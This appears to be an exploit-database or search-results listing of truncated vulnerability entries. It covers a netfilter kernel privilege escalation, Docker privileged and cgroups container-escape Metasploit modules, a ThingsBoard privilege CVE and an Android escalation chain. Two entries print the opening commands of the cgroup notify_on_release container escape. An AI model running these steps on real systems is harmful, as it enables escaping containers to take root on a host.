CVE-2022-25636

CVE-2022-25636 netfilter内核提权 toc 漏洞简介 漏洞编号: CVE-2022-25636 漏洞产品: linux kernel - netfilter 影响版本: linux kernel 5.4 漏洞危害: netfilter 内核模块中存在堆越界写，存在SYSADMIN时可以造成提权 环境搭建 漏洞存在于netfilter 内核模块中，漏洞所在代码在3个ko 中。 nftdupnetdev.ko nfdupnetdev.ko nftables.ko 直接qemu 启动有问题，ko 装载不上，使用vmware双机联调。 ubuntu 21.10...

ehir-vuln-enterprise-login

企业门户本地部署 本项目是一个本地容器化部署环境，包含前端门户和集成的后端网关。 工作区结构 client/：包含使用 Bootstrap 5 的静态前端文件（index.html）和 API 连接处理程序。 docker-compose.yml：本地多容器编排文件。 使用说明 1. 构建并运行服务栈 要在后台启动服务（分离模式）： docker-compose up -d 2. 查看正在运行的服务与状态 要确认哪些容器正在运行： docker-compose ps 3. 检查服务日志 要查看服务的输出日志（例如，排查连接尝试问题）： docker-compose logs -f...

Docker cgroups Container Escape

This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework class MetasploitModule 'Docker cgroups Container Escape', 'Description' = %q This exploit module takes advantage of a Docker image which has either the privileged flag, ...

frr security and bug fix update

8.3.1-11 - Resolves: RHEL-2263 - bgpd: Do not explicitly print MAXTTL value for ebgp-multihop vty output 8.3.1-10 - Related: 2216912 - adding sysadmin to capabilities 8.3.1-9 - Resolves: 2215346 - frr policy does not allow the execution of /usr/sbin/ipsec 8.3.1-8 - Resolves: 2216912 - SELinux is...

CVE-2022-45608: Improper Privilege Management

An issue was discovered in ThingsBoard 3.4.1, allows low privileged attackers CUSTOMERUSER to gain escalated privileges vertically and become an Administrator TENANTADMIN or SYSADMIN on the web application. It is important to note that in order to accomplish this, the attacker must know the...

Docker Privileged Container Escape

This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework POC modified from https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/ class MetasploitModule 'Docker Privileged Container Escape',...

Docker Container Escape

On the host docker run --rm -it --cap-add=SYSADMIN --security-opt apparmor=unconfined ubuntu bash In the container mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x echo 1 /tmp/cgrp/x/notifyonrelease hostpath=sed -n 's/.\perdir=^,./\1/p' /etc/mtab echo...

Docker - Container Escape

Docker - Container Escape On the host docker run --rm -it --cap-add=SYSADMIN --security-opt apparmor=unconfined ubuntu bash In the container mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x echo 1 /tmp/cgrp/x/notifyonrelease hostpath=sed -n 's/.\perdir=^,./\1/p'...

Docker Privileged Container Escape

This module escapes from a privileged Docker container and obtains root on the host machine by abusing the Linux cgroup notification on release feature. This exploit should work against any container started with the following flags: --cap-add=SYSADMIN, --privileged. Module Options msf use...

Android - 'zygote->init;' Chain from USB Privilege Escalation

After reporting https://bugs.chromium.org/p/project-zero/issues/detail?id=1583 Android ID 80436257, CVE-2018-9445, I discovered that this issue could also be used to inject code into the context of the zygote. Additionally, I discovered a privilege escalation path from zygote to init; that...